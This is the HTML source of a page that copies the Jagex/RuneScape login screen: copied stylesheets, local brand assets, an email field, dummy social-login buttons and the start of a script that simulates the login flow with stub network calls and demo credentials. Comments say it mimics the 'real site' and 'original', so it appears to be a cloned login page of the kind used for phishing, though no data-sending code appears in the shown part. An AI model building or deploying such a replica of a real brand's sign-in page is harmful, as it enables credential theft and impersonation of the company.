._menu-closed_1ds3v_66{opacity:0;pointer-events:none;transform:scaleY(0)} ._item_1ds3v_25{align-items:center;gap:var(--size-200-rem,12px);padding:var(--size-250-rem,.875rem) var(--size-200-rem,.75rem);cursor:pointer;background:var(--silver-500);transition:background .5s,color .5s;display:flex} ._item_1ds3v_25:last-child{border-bottom:none} ._item_1ds3v_25:hover *{transition:background .5s,color .5s;color:var(--gold-100,#111)!important} ._item-disabled_1ds3v_91{cursor:not-allowed;opacity:.5} ._item-disabled_1ds3v_91:hover{background:0 0} ._item-icon_1ds3v_100{padding:var(--size-075-rem,6px) 0;background:0 0;flex-direction:column;flex-shrink:0;justify-content:center;align-items:center;display:flex} ._item-icon_1ds3v_100 span{min-width:var(--size-200-rem,12px);min-height:var(--size-200-rem,12px);background:var(--gold-300)} ._divider_1ds3v_116{height:var(--size-025-rem,12px);background:var(--silver-450,#e0e0e0);margin:0;padding:0;list-style:none} ._text-input_12eqw_1{padding:var(--size-500-rem) var(--size-300-rem) var(--size-100-rem);height:var(--size-900-rem)} ._field-container_12eqw_6{cursor:text;flex-direction:column;display:flex;position:relative} ._field-container_12eqw_6:has(._suffix-icon_12eqw_13) ._text-input_12eqw_1{padding-right:var(--size-900-rem)} ._label_12eqw_17{font-family:var(--typography-body-m-font);font-size:var(--typography-body-m-size);line-height:var(--typography-body-m-line-height);letter-spacing:var(--typography-body-m-tracking);color:var(--text-placeholder);pointer-events:none;left:var(--size-300-rem);transform-origin:0;max-width:calc(100% - var(--size-600-rem));white-space:nowrap;text-overflow:ellipsis;z-index:1;transition:all .2s cubic-bezier(0,0,.2,1);position:absolute;top:50%;overflow:hidden;transform:translateY(-50%)} ._field-container_12eqw_6:has(input:not(:-moz-placeholder-shown)) ._label_12eqw_17{top:var(--size-100-rem);font-size:var(--typography-body-xs-size);line-height:var(--typography-body-xs-line-height);transform:translateY(0)} ._field-container_12eqw_6:focus-within ._label_12eqw_17{top:var(--size-100-rem);font-size:var(--typography-body-xs-size);line-height:var(--typography-body-xs-line-height);transform:translateY(0)} ._field-container_12eqw_6:has(input:not(:placeholder-shown)) ._label_12eqw_17{top:var(--size-100-rem);font-size:var(--typography-body-xs-size);line-height:var(--typography-body-xs-line-height);transform:translateY(0)} ._field-container_12eqw_6:has(input:disabled) ._label_12eqw_17{color:var(--silver-200)} ._field-container_12eqw_6:has(input[aria-invalid=true]) ._label_12eqw_17{color:var(--text-status-on-error-secondary)} ._suffix-icon_12eqw_13{right:var(--size-300-rem);width:var(--size-500-rem);cursor:pointer;--mask-icon-color:var(--border-default);height:1.5rem;color:var(--border-default);background:0 0;border:none;justify-content:center;align-items:center;padding:0;transition:color .2s cubic-bezier(0,0,.2,1),top .2s cubic-bezier(0,0,.2,1),transform .2s cubic-bezier(0,0,.2,1);display:flex;position:absolute;top:50%;transform:translateY(-50%)} ._suffix-icon_12eqw_13:focus-visible{outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset);border-radius:var(--size-050-rem,.25rem)} ._suffix-icon_12eqw_13:disabled{cursor:not-allowed;opacity:.5} ._suffix-icon_12eqw_13:hover:not(:disabled){--mask-icon-color:var(--border-hover);color:var(--border-hover)} ._field-container_12eqw_6:has(input:not(:-moz-placeholder-shown)) ._suffix-icon_12eqw_13{top:auto;bottom:var(--size-100-rem);transform:none} ._field-container_12eqw_6:focus-within ._suffix-icon_12eqw_13{top:auto;bottom:var(--size-100-rem);transform:none} ._field-container_12eqw_6:has(input:not(:placeholder-shown)) ._suffix-icon_12eqw_13{top:auto;bottom:var(--size-100-rem);transform:none} ._field-container_12eqw_6:has(input[aria-invalid=true]) ._suffix-icon_12eqw_13{--mask-icon-color:var(--border-status-error-default);color:var(--border-status-error-default)} ._field-container_12eqw_6:has(input[aria-invalid=true]) ._suffix-icon_12eqw_13:hover:not(:disabled){--mask-icon-color:var(--border-status-error-hover-input);color:var(--border-status-error-hover-input)} ._field-container_12eqw_6:has(._suffix-icon_12eqw_13){min-width:calc(var(--size-500-rem) + var(--size-300-rem) + var(--size-300-rem) + var(--size-900-rem,3.5rem))} ._supporting-content-wrapper_12eqw_117{justify-content:space-between;align-items:center;gap:var(--size-200-rem);width:100%;padding-top:var(--size-075-rem);display:flex} ._supporting-info_12eqw_126{padding-left:var(--size-300-rem);text-align:start;overflow-wrap:break-word;flex:1;min-width:0} ._supporting-action_12eqw_134{flex-shrink:0} ._supporting-action-only_12eqw_138{margin-left:auto} ._error-wrapper_12eqw_142{padding-top:var(--size-075-rem);text-align:start;overflow-wrap:break-word;width:100%} ._nav-item_1k5ut_1{padding:0 var(--size-200-px,12px);cursor:pointer;box-sizing:border-box;background:0 0;border:none;flex-direction:column;justify-content:center;align-items:center;height:100%;display:flex;position:relative} ._nav-item_1k5ut_1:before{content:"";opacity:0;z-index:0;transition:opacity .3s;position:absolute;top:0;bottom:0;left:0;right:0} ._nav-item_1k5ut_1:hover:before{box-shadow:0 var(--size-025-px,2px) var(--size-025-px,2px) var(--size-025-px,2px) rgba(0,0,0,.25) inset;opacity:1;background:radial-gradient(77.38% 77.38% at 50% 100%,rgba(255,218,137,.2) 0%,rgba(255,218,137,0) 67%),linear-gradient(rgba(55,55,55,0) 0%,#373737 100%)} ._nav-item-active_1k5ut_36:before{background:radial-gradient(77.38% 77.38% at 50% 100%,rgba(255,218,137,.2) 0%,rgba(255,218,137,0) 67.31%),var(--surface-sunken-primary,#1a1a1a);box-shadow:0 var(--size-025-px,2px) var(--size-025-px,2px) var(--size-025-px,2px) rgba(0,0,0,.25) inset;opacity:1} ._nav-item-content-with-text_1k5ut_48{z-index:1;gap:var(--size-100-px,8px);flex-direction:row;justify-content:center;align-items:center;width:100%;height:100%;display:flex;position:relative} ._nav-item-text_1k5ut_60{color:var(--text-primary)} ._nav-item_1k5ut_1:hover ._nav-item-text_1k5ut_60{color:var(--text-hover)} ._nav-item-icon-full_1k5ut_68{z-index:1;position:relative} ._nav-item-icon-full_1k5ut_68 span{width:var(--size-800-px,48px);height:var(--size-800-px,48px);justify-content:center;align-items:center;display:flex} ._nav-item-active_1k5ut_36 ._nav-item-icon-full_1k5ut_68,._nav-item_1k5ut_1:hover ._nav-item-icon-full_1k5ut_68,._nav-item_1k5ut_1:hover ._nav-item-icon_1k5ut_68{color:var(--silver-600,#fff)} ._nav-item-underline_1k5ut_87{z-index:1;background:0 0;width:100%;transition:background .3s;position:absolute;bottom:0;left:0} ._nav-item-underline-active_1k5ut_97{background:var(--gold-500,#fff)} ._root_laery_1{--character-selector-foreground:var(--text-action)} ._root_laery_1:has(._radio-input_laery_5:focus-visible){outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._root_laery_1:has(._radio-input_laery_5:checked){--character-selector-foreground:var(--text-status-primary);background-image:var(--background-cta-selector-selected),linear-gradient(var(--surface-sunken-primary),var(--surface-sunken-primary)),var(--gradient-brown-vertical-up);background-origin:padding-box,padding-box,padding-box,border-box;background-clip:padding-box,padding-box,padding-box,border-box;border:1px solid transparent} ._root_laery_1:has(._radio-input_laery_5:checked):before{opacity:0} ._root_laery_1:has(._radio-input_laery_5:checked):after{background-image:var(--asset-distressed-seamless);background-size:var(--background-texture-distressed-seamless-background-size);background-repeat:var(--background-texture-distressed-seamless-background-repeat);opacity:var(--background-texture-distressed-seamless-opacity)} ._radio-input_laery_5{z-index:4;opacity:0;cursor:pointer;margin:0;position:absolute;top:0;bottom:0;left:0;right:0} ._radio-indicator_laery_41{width:var(--size-500-rem);height:var(--size-500-rem);pointer-events:none;margin-top:0} ._root_laery_1:has(._radio-input_laery_5:checked) ._radio-indicator_laery_41{border-color:var(--brand-gold);background:var(--gradient-green-default);box-shadow:inset 0 0 0 var(--size-075-px) var(--surface-sunken-primary)} ._root_laery_1:hover:not(:has(._radio-input_laery_5:checked)) ._radio-indicator_laery_41{border-color:var(--border-hover)} ._root_laery_1:focus-visible:not(:has(._radio-input_laery_5:checked)) ._radio-indicator_laery_41{border-color:var(--border-hover)} ._root_laery_1:has(._radio-input_laery_5:focus-visible):not(:has(._radio-input_laery_5:checked)) ._radio-indicator_laery_41{border-color:var(--border-hover)} ._root_laery_1 ._label_laery_60{color:var(--character-selector-foreground)} ._root_laery_1:hover:not(:has(._radio-input_laery_5:checked)){--character-selector-foreground:var(--text-hover);background-image:linear-gradient(var(--surface-sunken-primary),var(--surface-sunken-primary)),var(--gradient-border-hover);background-origin:padding-box,border-box;background-clip:padding-box,border-box;border:1px solid transparent} ._root_laery_1:focus-visible:not(:has(._radio-input_laery_5:checked)){--character-selector-foreground:var(--text-hover);background-image:linear-gradient(var(--surface-sunken-primary),var(--surface-sunken-primary)),var(--gradient-border-hover);background-origin:padding-box,border-box;background-clip:padding-box,border-box;border:1px solid transparent} ._root_laery_1:has(._radio-input_laery_5:focus-visible):not(:has(._radio-input_laery_5:checked)){--character-selector-foreground:var(--text-hover);background-image:linear-gradient(var(--surface-sunken-primary),var(--surface-sunken-primary)),var(--gradient-border-hover);background-origin:padding-box,border-box;background-clip:padding-box,border-box;border:1px solid transparent} ._root_laery_1:has(._radio-input_laery_5):active:not(:has(._radio-input_laery_5:checked)){--character-selector-foreground:var(--text-action);border:1px solid var(--border-active);background:var(--background-cta-selector-active) padding-box} ._avatar_laery_83{width:var(--size-700-px);height:var(--size-700-px);padding:3px var(--size-050-px);aspect-ratio:1;background:var(--gradient-gold-vertical-up);box-shadow:0 var(--size-025-px) var(--size-050-px) 0 rgba(0,0,0,.35);border-radius:50%;justify-content:center;align-items:center;gap:10px;display:flex} ._root_hbd2l_1{-webkit-appearance:none;-moz-appearance:none;appearance:none;cursor:pointer;border-radius:var(--size-200-px);border:1px solid var(--border-dark);width:100%;height:var(--size-1000-rem);background:var(--surface-sunken-primary);outline:none;align-items:center;text-decoration:none;display:flex;position:relative;overflow:hidden} ._root_hbd2l_1:before{content:"";z-index:0;border-radius:inherit;opacity:.1;pointer-events:none;background:radial-gradient(50% 50%,#fff 10%,rgba(141,141,141,0) 100%);position:absolute;top:0;bottom:0;left:0;right:0} ._root_hbd2l_1:after{content:"";z-index:1;border-radius:inherit;background-image:var(--asset-distressed-seamless);background-size:var(--background-texture-distressed-seamless-background-size);background-repeat:var(--background-texture-distressed-seamless-background-repeat);opacity:var(--background-texture-distressed-seamless-opacity);pointer-events:none;position:absolute;top:0;bottom:0;left:0;right:0} ._root_hbd2l_1:hover{border-color:var(--border-hover)} ._root_hbd2l_1:focus-visible{border-color:var(--border-hover)} ._root_hbd2l_1:focus-visible{outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._selector-button_hbd2l_51{align-items:center;gap:var(--size-300-rem);padding:0 var(--size-500-rem);z-index:2;pointer-events:none;width:100%;display:flex;position:relative} ._label_hbd2l_62{color:var(--text-action)} ._group_hbd2l_66{gap:var(--size-100-rem);flex-direction:column;display:flex} ._root_1d5fd_1{--standard-selector-foreground:var(--text-action)} ._root_1d5fd_1 ._label_1d5fd_5{color:var(--standard-selector-foreground)} ._icon_1d5fd_9{min-width:var(--size-600-rem);min-height:var(--size-600-rem);--mask-icon-color:var(--standard-selector-foreground)} ._root_1d5fd_1:hover{--standard-selector-foreground:var(--text-link-hover);background-image:linear-gradient(var(--surface-sunken-primary),var(--surface-sunken-primary)),var(--gradient-border-hover);background-origin:padding-box,border-box;background-clip:padding-box,border-box;border:1px solid transparent} ._root_1d5fd_1:focus-visible{--standard-selector-foreground:var(--text-link-hover);background-image:linear-gradient(var(--surface-sunken-primary),var(--surface-sunken-primary)),var(--gradient-border-hover);background-origin:padding-box,border-box;background-clip:padding-box,border-box;border:1px solid transparent} ._root_1d5fd_1:active{--standard-selector-foreground:var(--text-action);border:1px solid var(--border-active);background:var(--background-cta-selector-active) padding-box} ._sidebar-nav-item_1fclv_1{--sidebar-nav-item-inset-shadow:0 var(--size-025-px,2px) var(--size-025-px,2px) var(--size-025-px,2px) rgba(0,0,0,.25) inset;padding:0 var(--size-200-rem);box-sizing:border-box;min-height:var(--size-800-rem);color:var(--text-primary);cursor:pointer;text-align:left;background:0 0;border:0;align-items:center;display:flex;position:relative} ._sidebar-nav-item_1fclv_1:before{content:"";opacity:0;pointer-events:none;transition:opacity .16s;position:absolute;top:0;bottom:0;left:0;right:0} ._sidebar-nav-item_1fclv_1:hover{background:radial-gradient(77.38% 77.38% at 0% 50%,rgba(255,218,137,.2) 0%,rgba(255,218,137,0) 95%),linear-gradient(90deg,rgba(55,55,55,0) 0%,var(--silver-450,#373737) 100%);box-shadow:var(--sidebar-nav-item-inset-shadow);opacity:1} ._sidebar-nav-item_1fclv_1:focus-visible{outline:2px solid var(--gold-500);outline-offset:2px} ._sidebar-nav-item-active_1fclv_43{opacity:1;background:radial-gradient(77.38% 77.38% at 0% 50%,rgba(255,218,137,.2) 0%,rgba(255,218,137,0) 95%),var(--surface-sunken-primary);box-shadow:var(--sidebar-nav-item-inset-shadow)} ._sidebar-nav-item-active_1fclv_43:before{border-radius:inherit;pointer-events:none;content:"";background:linear-gradient(270deg,var(--silver-450) 0%,var(--brown-400) 50%,var(--gold-200) 100%);-webkit-mask:linear-gradient(var(--neutral-black) 0 0) content-box,linear-gradient(var(--neutral-black) 0 0);-webkit-mask:linear-gradient(var(--neutral-black) 0 0) content-box,linear-gradient(var(--neutral-black) 0 0);mask:linear-gradient(var(--neutral-black) 0 0) content-box,linear-gradient(var(--neutral-black) 0 0);-webkit-mask-composite:xor;opacity:1;padding:1px;transition:opacity .16s;position:absolute;-webkit-mask-composite:xor;mask-composite:exclude} ._sidebar-item-underline_1fclv_73{z-index:1;background:0 0;height:100%;position:absolute;bottom:0;left:0} ._sidebar-nav-item-indicator_1fclv_82 path{fill:currentColor} ._pill_1pt7k_1{width:var(--size-1200-px);height:var(--size-600-px);min-width:var(--size-1200-px);border-radius:var(--size-050-px);border:1px solid var(--border-default-muted,#575757);cursor:pointer;background:0 0;justify-content:center;align-items:center;padding:0;display:flex} ._pill_1pt7k_1:disabled{opacity:.5;cursor:not-allowed} ._pill_1pt7k_1:hover:not(:disabled){border-color:var(--border-hover)} ._pill_1pt7k_1:focus-visible:not(:disabled){border-color:var(--border-hover);outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._pill_1pt7k_1:active:not(:disabled){border-color:var(--border-hover);outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._social-pill_1pwpz_1{--mask-icon-color:var(--gradient-silver-vertical-default);background:0 0;flex-shrink:0;justify-content:center;align-items:center;padding:0;display:flex} ._social-pill_1pwpz_1:disabled{--mask-icon-color:var(--gradient-silver-vertical-dark);cursor:not-allowed} ._social-pill_1pwpz_1:hover:not(:disabled){--mask-icon-color:var(--gold-50)} ._social-pill_1pwpz_1:focus-visible:not(:disabled){outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} input::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none;margin:0} input::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none;margin:0} input[type=number]{-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield} ._root_rgfph_12{justify-content:center;width:100%;display:flex} ._content_rgfph_18{flex-direction:column;align-items:center;width:-webkit-min-content;width:-moz-min-content;width:min-content;display:flex} ._otp-input-container_rgfph_25{justify-content:center;align-items:center;gap:var(--size-100-rem);width:100%;display:flex} ._verification_rgfph_33{caret-color:transparent;width:var(--size-800-rem)!important;text-align:center!important;padding:15px 16px!important} ._verification_rgfph_33::placeholder{color:transparent!important} ._verification_rgfph_33:hover:not(:disabled)::-moz-placeholder{color:var(--border-hover)!important} ._verification_rgfph_33:focus-visible:not(:disabled)::-moz-placeholder{color:var(--border-hover)!important} ._verification_rgfph_33:hover:not(:disabled)::placeholder{color:var(--border-hover)!important} ._verification_rgfph_33:focus-visible:not(:disabled)::placeholder{color:var(--border-hover)!important} ._verification_rgfph_33[aria-invalid=true]::placeholder{color:var(--border-status-error-default)!important} ._supporting-content-wrapper_rgfph_53{justify-content:space-between;align-items:center;gap:var(--size-200-rem);width:100%;padding-top:var(--size-075-rem);display:flex} ._supporting-info_rgfph_62{text-align:start;overflow-wrap:break-word;flex:1;min-width:0} ._supporting-action_rgfph_69{flex-shrink:0} ._supporting-action-only_rgfph_73{margin-left:auto} ._error-wrapper_rgfph_77{padding-top:var(--size-075-rem);text-align:start;overflow-wrap:break-word;width:100%} ._footer_w6923_1{background-color:var(--neutral-black);padding-top:var(--size-700-rem);padding-bottom:var(--size-800-rem);position:relative} ._divider_w6923_8{position:absolute;top:-9px;left:0;right:0} ._content_w6923_15{max-width:var(--size-global-content-max-width-rem);text-align:center;align-items:center;gap:var(--size-600-rem);padding:0 var(--size-base-300,16px);flex-direction:column;margin-left:auto;margin-right:auto;display:flex} ._logo-wrapper_w6923_26{text-align:center;width:auto;display:block} ._logo-wrapper_w6923_26:hover{filter:brightness(.5)} ._logos_w6923_36{width:100%;padding-left:var(--size-100-rem);flex-wrap:wrap;justify-content:center;align-items:center;display:flex} ._link-wrapper_w6923_45{text-align:center;justify-content:center;align-items:center;gap:var(--size-100-rem) var(--size-600-rem);flex-wrap:wrap;display:flex} ._link-wrapper_w6923_45 a{font-size:var(--typography-body-s-size);line-height:var(--typography-body-s-line-height);text-decoration:none} ._link-wrapper_w6923_45 a:hover{text-underline-offset:3px;text-decoration:underline;text-decoration-thickness:1px} ._link-wrapper_w6923_45 button{font-size:var(--typography-body-s-size);line-height:var(--typography-body-s-line-height);text-decoration:none!important} ._link-wrapper_w6923_45 button:hover{text-underline-offset:3px;text-decoration-thickness:1px;text-decoration:underline!important} @media (min-width:480px){._link-wrapper_w6923_45 a,._link-wrapper_w6923_45 button{font-size:var(--typography-body-m-size);line-height:var(--typography-body-m-line-height)}} ._navbar_sy9u3_1{width:100%;height:var(--size-1000-rem,4.5rem);background:linear-gradient(0deg,var(--silver-500,#272727) 0%,var(--silver-600,#1a1a1a) 100%);--dropdown-trigger-bg:transparent;justify-content:space-between;align-items:center;display:flex} ._navbar-left_sy9u3_12{align-items:center;gap:var(--size-700-rem,5.5rem);height:100%;display:flex} ._navbar-center_sy9u3_19{position:absolute;left:50%;transform:translate(-50%)} ._navbar-logo_sy9u3_25{padding:0 var(--size-600-rem,2rem);align-items:center;display:flex} ._navbar-logo_sy9u3_25 span{height:var(--size-1000-px,64px);width:var(--size-1000-px,64px);align-items:center;display:flex} ._navbar-items_sy9u3_38{align-items:stretch;gap:var(--size-500-rem,1.5rem);height:100%;display:flex} ._navbar-right_sy9u3_45{align-items:center;display:flex} ._sidebar_180th_1{width:var(--sidebar-width,18vw);z-index:2;border-right:1px solid var(--gold-200);flex-direction:column;justify-content:space-between;height:100%;display:flex} ._sidebar-items_180th_11{box-sizing:border-box;gap:var(--sidebar-items-gap,var(--size-200-px));width:100%;margin-top:var(--sidebar-items-margin-top,var(--size-200-px));flex-direction:column;display:flex} ._sidebar-footer_180th_20{padding:var(--sidebar-footer-padding,var(--size-100-px) var(--size-300-px));color:var(--sidebar-footer-color,var(--silver-300));font-size:var(--sidebar-footer-font-size,var(--size-300-rem))}</style><script charset="utf-8" src="/6.4c1b.js"></script><script charset="utf-8" src="/10.7b30.js"></script><link rel="shortcut icon" type="image/svg+xml" sizes="any" href="/static/favicon/24e9e7b894b7e5d6dbb73a6042ad47c6.svg" data-react-helmet="true"><meta charset="UTF-8" data-react-helmet="true"><meta name="viewport" content="width=device-width, initial-scale=1" data-react-helmet="true"><meta name="author" content="Jagex" data-react-helmet="true"><meta http-equiv="X-UA-Compatible" content="IE=edge" data-react-helmet="true"><meta name="format-detection" content="telephone=no" data-react-helmet="true"><style></style><style></style><base target="_blank"> <base target="_blank"> </head><body> <style> /* ===== glue CSS (rules the real site injects with JS) ===== */ .css-1d3w5wq{display:flex;flex-direction:column} ._error-wrapper_rgfph_77{padding-bottom:var(--size-050-rem)} /* browsers give <form> a hidden 16px bottom margin; the original's runtime classes reset it */ form{margin:0} /* original wrapper = 6px top pad + 24px alert + 4px font strut = 34px */ ._error-wrapper_12eqw_142{padding-bottom:var(--size-050-rem)} /* forgot-password link: no underline at rest, underline on hover (matches original) */ ._supporting-action_12eqw_134 ._root_1d2ez_1{text-decoration:none} ._supporting-action_12eqw_134 ._root_1d2ez_1:hover{text-decoration:underline;text-underline-offset:3px;text-decoration-thickness:1px}._button-functional-container_efmzs_1[data-isLoading="true"] ._root_gqfgx_35{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);z-index:5} ._group_hbd2l_66{width:100%} ._radio-indicator_laery_41{border:1px solid var(--border-default);border-radius:50%;flex-shrink:0;margin-right:var(--size-500-rem)} ._root_laery_1{text-align:left} ._root_ah40z_1[data-side="top"]{flex-direction:column;align-items:center} </style> <div id="app"><div class="_root_s2fcg_1"> <div class="_background_s2fcg_43" data-testid="lBackground"><img class="_image_14gud_1" alt="Gielinor as viewed in both RuneScape & Old School RuneScape." data-testid="o" src="assets/asset_30cb4890.jpg" style="width: 100%; height: 100%; position: absolute; top: 0px;"></div> <div class="_panel_1aghp_1" data-testid="a"><div class="_content_1aghp_15 _content_s2fcg_21"> <div class="_runescape-franchise-logo_s2fcg_51"><img class="_root_p5eia_1" data-testid="o" title="Runescape" alt="Runescape franchise logo" src="assets/asset_e9b2062b.svg" style="width: 14rem;"></div> <div role="separator" class="_divider-3_19sau_1"><div aria-hidden="true" class="_diamond-3_19sau_14"></div><div aria-hidden="true" class="_line-3_19sau_8"></div><div aria-hidden="true" class="_star-3_19sau_27"></div><div aria-hidden="true" class="_line-3_19sau_8"></div><div aria-hidden="true" class="_diamond-3_19sau_14"></div></div> <div class="_panel-layout_s2fcg_12"> <div class="_panel-top_s2fcg_25"> <h1 class="h4-primary _typography-gradient_jl75w_1" id="page-heading">Login</h1> <p class="body-l _typography-primary_jl75w_11">Log in using your email address.</p> </div> <div class="_panel_s2fcg_12"> <div id="screen-login"> <form class="css-1d3w5wq e13izzvi0" novalidate> <div class="_field-container_12eqw_6"><label><span class="_label_12eqw_17">Email</span><input class="_base-input_5qozh_2 _text-input_12eqw_1" type="email" data-testid="login-via-email-form--email-search-account" placeholder=" " id="email" name="email" autocomplete="username" value=""></label></div> <div aria-hidden="true" data-testid="A" style="height: var(--size-300-rem); width: var(--size-300-rem); flex-shrink: 0;"></div> <button class="_button-container_18bpm_1 _button-functional-container_efmzs_1 _button-full-width_18bpm_14" data-testid="continue-with-assisted-via-email-flow" id="continue-with-assisted-via-email-flow" type="submit" data-isloading="false" disabled=""> <div class="_button-functional-ring_efmzs_66" aria-hidden="true"><svg class="_button-functional-ring-cap_efmzs_91" viewBox="0 0 26 66" preserveAspectRatio="none" overflow="visible"><path d="M26 0 L0 33 L26 66"></path></svg><svg class="_button-functional-ring-middle_efmzs_98" viewBox="0 0 1 66" preserveAspectRatio="none" overflow="visible"><line x1="0" y1="0" x2="1" y2="0"></line><line x1="0" y1="66" x2="1" y2="66"></line></svg><svg class="_button-functional-ring-cap_efmzs_91" viewBox="0 0 26 66" preserveAspectRatio="none" overflow="visible"><path d="M0 0 L26 33 L0 66"></path></svg></div> <div class="_button-functional-primary_efmzs_15"></div> <span class="_button-functional-label_efmzs_7 button-md">Continue</span> </button> </form> <div aria-hidden="true" data-testid="A" style="height: var(--size-300-rem); width: var(--size-300-rem); flex-shrink: 0;"></div> <div><button class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" data-testid="continue-with-account-creation" onclick="goTo('https://account.jagex.com/en-GB/login/registration-start')">Create account</button></div> <div aria-hidden="true" data-testid="A" style="height: var(--size-500-rem); width: var(--size-500-rem); flex-shrink: 0;"></div> <div class="_social-root_s2fcg_85" style="margin-top: 24px;"> <div class="_social-title_s2fcg_93"><p class="body-m _typography-primary_jl75w_11">Or log in with</p></div> <div class="_social-container_s2fcg_113" style="display: flex; max-width: 100rem;"> <button title="Google" aria-label="Google" class="_pill_1pt7k_1 _social-pill_1pwpz_1"onclick="showSocialError()"><span class="_root_1yvmr_3" role="img" aria-hidden="true" style="--mask-icon-image: url("assets/asset_93dd56a9.svg"); --mask-icon-size: 32px;"></span></button> <button title="Apple" aria-label="Apple" class="_pill_1pt7k_1 _social-pill_1pwpz_1"onclick="showSocialError()"><span class="_root_1yvmr_3" role="img" aria-hidden="true" style="--mask-icon-image: url("assets/asset_015ed923.svg"); --mask-icon-size: 32px;"></span></button> <button title="Steam" aria-label="Steam" class="_pill_1pt7k_1 _social-pill_1pwpz_1"onclick="showSocialError()"><span class="_root_1yvmr_3" role="img" aria-hidden="true" style="--mask-icon-image: url("assets/asset_aff08ece.svg"); --mask-icon-size: 32px;"></span></button> <button title="Facebook" aria-label="Facebook" class="_pill_1pt7k_1 _social-pill_1pwpz_1"onclick="showSocialError()"><span class="_root_1yvmr_3" role="img" aria-hidden="true" style="--mask-icon-image: url("assets/asset_25251e4e.svg"); --mask-icon-size: 32px;"></span></button> </div> </div> <div aria-hidden="true" data-testid="A" style="height: var(--size-500-rem); width: var(--size-500-rem); flex-shrink: 0;"></div> <!-- FIXED: Changed layout to column so items stack on mobile --> <div style="display:flex;flex-direction:column;align-items:center;width:100%;gap:0.5rem;margin-top:0.5rem;"> <button class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" data-testid="assisted-login-page--change-login-method-button">Log in with RuneScape username</button> <a target="_blank" data-testid="cant-log-in-link" class="_root_1d2ez_1 link-m" href="https://support.runescape.com/hc/en-gb/articles/360001552065">Can't log in?</a> </div> </div> </div> </div> </div></div></div> <footer class="_footer_w6923_1"> <div role="separator" class="_divider-b_azvlb_1 _divider_w6923_8"><div aria-hidden="true" class="_line-b_azvlb_11"></div><div aria-hidden="true" class="_ornament-b_azvlb_37"></div><div aria-hidden="true" class="_line-b_azvlb_11"></div></div> <div class="_content_w6923_15"> <nav class="_logos_w6923_36" aria-label="Company websites"><a class="_logo-wrapper_w6923_26" href="https://play.runescape.com/" title="Franchise games website"><img class="_root_p5eia_1" title="Runescape" alt="Runescape franchise logo" src="assets/asset_e9b2062b.svg" style="width: 240px;"></a></nav> <div role="separator" class="_divider-3_19sau_1"><div aria-hidden="true" class="_diamond-3_19sau_14"></div><div aria-hidden="true" class="_line-3_19sau_8"></div><div aria-hidden="true" class="_star-3_19sau_27"></div><div aria-hidden="true" class="_line-3_19sau_8"></div><div aria-hidden="true" class="_diamond-3_19sau_14"></div></div> <nav class="_link-wrapper_w6923_45" aria-label="Legal"> <a title="View Jagex's cookie policy" target="_blank" rel="noreferrer" class="_root_1d2ez_1 link-m" href="https://www.jagex.com/cookies">Cookie Policy</a> <button class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" title="Manage Cookies">Manage Cookies</button> <a title="View Jagex's terms & conditions" target="_blank" rel="noreferrer" class="_root_1d2ez_1 link-m" href="https://legal.jagex.com/docs/terms">Terms & Conditions</a> <a title="View Jagex's privacy policy" target="_blank" rel="noreferrer" class="_root_1d2ez_1 link-m" href="https://legal.jagex.com/docs/policies">Privacy Policy</a> <a title="Jagex does not sell personal information as the term 'sell' is commonly understood." rel="noreferrer" class="_root_1d2ez_1 link-m" href="https://legal.jagex.com/docs/policies/privacy/exercising-your-rights">Do Not Sell or Share My Personal Information</a> </nav> <p class="body-s _typography-primary_jl75w_11 ">Copyright © 1999 - 2026 Jagex Ltd. 220 Science Park, Cambridge, CB4 0WA, United Kingdom</p> </div> </footer> </div> <script> /* ================= ENGINE ================= */ var $ = function (s, r) { return (r || document).querySelector(s); }; var $$ = function (s, r) { return Array.prototype.slice.call((r || document).querySelectorAll(s)); }; var heading = $('#page-heading'); var subhead = $('._panel-top_s2fcg_25 p'); var panel = $('._panel_s2fcg_12'); var TEMPLATES = { login: $('#screen-login').innerHTML }; // Override the login template to fix the layout (in case the DOM is updated) // We'll also ensure the template used by show() has the correct structure. // But since we already changed the DOM directly, we also update the stored template. (function fixLoginTemplate() { var loginHTML = TEMPLATES.login; // Replace the old flex container with the new stacked layout var oldDiv = /<div class="css-1830a6z ehtssmp0" style="display:flex;align-items:center;width:100%;white-space:nowrap;">.*?<\/div>/s; var newDiv = '<div style="display:flex;flex-direction:column;align-items:center;width:100%;gap:0.5rem;margin-top:0.5rem;">' + '<button class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" data-testid="assisted-login-page--change-login-method-button">Log in with RuneScape username</button>' + '<a target="_blank" data-testid="cant-log-in-link" class="_root_1d2ez_1 link-m" href="https://support.runescape.com/hc/en-gb/articles/360001552065">Can\'t log in?</a>' + '</div>'; TEMPLATES.login = loginHTML.replace(oldDiv, newDiv); })(); var state = { method: 'email', identity: '', remember: false, character: '' }; var EMAIL_RE = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; var USERNAME_RE = /^[A-Za-z0-9 \-]{2,12}$/; var DEMO = { password: 'hunter2', code: '123456', pin: '1111' }; function fakeNetwork () { return new Promise(function (r) { setTimeout(r, 250); }); } function goTo (url) { window.location.href = url; } function setLoading (btn, on) { if (!btn) return; if (on) { btn.setAttribute('data-isLoading', 'true'); btn.removeAttribute('disabled'); if (!$('._root_gqfgx_35', btn)) btn.insertAdjacentHTML('beforeend', '<div class="_root_gqfgx_35 _size-medium_gqfgx_47">' + '<svg class="_loader-svg_gqfgx_52" viewBox="0 0 32 32" xmlns="http://www.w3.org/2000/svg" fill="none">' + '<circle class="_track_gqfgx_64" cx="16" cy="16" r="16"></circle>' + '<circle class="_spinner_gqfgx_69" cx="16" cy="16" r="16" stroke-dasharray="0, 100" style="--track-length: 100;"></circle></svg></div>'); } else { 